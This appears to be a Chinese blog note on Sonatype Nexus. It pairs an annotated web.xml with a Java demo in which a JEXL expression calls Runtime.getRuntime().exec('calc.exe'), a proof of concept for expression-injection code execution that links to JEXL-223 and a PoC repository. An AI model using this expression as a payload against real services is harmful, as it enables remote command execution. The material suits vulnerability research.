Nexus Manager相关

附录

Java web项目中的web.xml配置

参考:https://blog.csdn.net/m751075306/article/details/9452893
https://blog.csdn.net/ahou2468/article/details/79015251

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
         version="3.0"> <!-- 根元素 -->

  <display-name>Sonatype Nexus</display-name>  <!-- 定义了web应用的名称 -->

  <listener>
    <listener-class>org.sonatype.nexus.bootstrap.osgi.BootstrapListener</listener-class>  <!-- 指定Listener的实现类 -->
  </listener>  <!-- 主要用于监听Web应用事件,如应用的启动和停止和Session的创建和失效 -->

  <filter>
  <!-- filter元素用于指定Web容器中的过滤器。
在请求和响应对象被servlet处理之前或之后,可以使用过滤器对这两个对象进行操作。
利用filter-mapping元素,过滤器被映射到一个servlet或一个URL模式。-->
    <filter-name>nexusFilter</filter-name>
    <filter-class>org.sonatype.nexus.bootstrap.osgi.DelegatingFilter</filter-class>
  </filter>

  <filter-mapping>
  <!-- filter-mapping元素用来声明Web应用中的过滤器映射。过滤器可被映射到一个servlet或一个URL模式。将过滤器映射到一个 servlet中会造成过滤器作用于servlet上。将过滤器映射到一个URL模式中则可以将过滤器应用于任何资源,只要该资源的URL与URL模式匹配 -->
    <filter-name>nexusFilter</filter-name> <!-- filter-mapping中的值需与filter中的filter-name值一样-->
    <url-pattern>/*</url-pattern>
    <!-- 设定Filter对应的请求方式,有RQUEST,INCLUDE,FORWAR,ERROR四种,默认为REQUEST.-->
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>ERROR</dispatcher>
  </filter-mapping>

  <welcome-file-list>
  <!-- 用来指定首页文件名称 <welcome-file-list>元素可以包含一个或多个<welcome-file>子元素。如果在第一个<welcome-file>元素中没有找到指定的文件,Web容器就会尝试显示第二个,以此类推。 -->
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>

  <error-page>
      <!--  error-page元素包含三个子元素error-code,exception-type和location.将错误代码(Error Code)或异常(Exception)的种类对应到web应用资源路径. -->
    <location>/error.html</location>
  </error-page>
</web-app>

JEXL 表达式Demo

import java.io.IOException;

import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;

public class Main {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
JexlEngine jexl = new JexlBuilder().create();
// Create an expression
//String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
String jexlExp = "''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')";
JexlExpression e = jexl.createExpression( jexlExp );
// Create a context and add data
JexlContext jc = new MapContext();

// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);	
System.out.println(o);
}
}

依赖两个jar包:commons-logging-1.1.1.jar
commons-jexl3-3.1.jar
来源:https://jira.apache.org/jira/browse/JEXL-223
传到Github了:https://github.com/shadowsock5/JEXL_Poc
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值